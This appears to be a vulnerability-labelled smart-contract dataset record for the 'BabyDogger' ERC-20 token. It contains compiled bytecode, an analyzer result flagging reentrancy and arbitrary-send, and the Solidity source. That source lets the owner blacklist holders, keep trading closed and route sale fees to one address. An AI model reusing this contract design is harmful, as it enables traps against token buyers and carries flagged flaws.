888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fcffbe89cf5da5266d0174bf0b1b25782978389e3d8755f8dd597f382d2f29664736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,120 |
0xd8499d652262db9a16549ac3781f6f1a3aac767f
|
/**
$BabyDogger
Say NO to big tech companies & censorship
Website: https://baby-dogger.com/
Telegram: https://t.me/BabyDogger
Telegram: https://t.me/BabyDogger
Telegram: https://t.me/BabyDogger
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyDogger is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyDogger";
string private constant _symbol = "BabyDogger";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 10;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x1E9A3a020A8a2DDA99F23324515Ef0e25b5C3E6C);
address payable private _marketingAddress = payable(0x1E9A3a020A8a2DDA99F23324515Ef0e25b5C3E6C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000000 * 10**9;
uint256 public _maxWalletSize = 300000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 10, "Buy rewards");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 10, "Buy tax");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 10, "Sell rewards");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 10, "Sell tax");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eaa565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f7b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fd3565b61087b565b604051610264919061302e565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130a8565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130d2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130ed565b6108d0565b6040516102f7919061302e565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130d2565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d919061315c565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613186565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131a1565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131fa565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131a1565b610c51565b60405161041e91906130d2565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613227565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130d2565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131a1565b610eab565b6040516104c691906130d2565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f19190613186565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906131fa565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130d2565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f7b565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613227565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613254565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fd3565b61127b565b6040516105ff919061302e565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131a1565b611299565b60405161063c919061302e565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613316565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613376565b6114cc565b6040516106b991906130d2565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613227565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131a1565b6115f2565b005b61071c6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613402565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613422565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613480565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f42616279446f6767657200000000000000000000000000000000000000000000815250905090565b600061088f6108886117b3565b84846117bb565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611984565b61099e846108e96117b3565b6109998560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122079092919063ffffffff16565b6117bb565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a90613402565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90613402565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b3565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161226b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d7565b9050919050565b610caa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190613402565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890613402565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600a81526020017f42616279446f6767657200000000000000000000000000000000000000000000815250905090565b610fe96117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90613402565b60405180910390fd5b8060188190555050565b6110886117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613402565b60405180910390fd5b600084101580156111275750600a8411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613514565b60405180910390fd5b600082101580156111785750600a8211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90613580565b60405180910390fd5b600083101580156111c95750600a8311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906135ec565b60405180910390fd5b6000811015801561121a5750600a8111155b611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125090613658565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b3565b8484611984565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff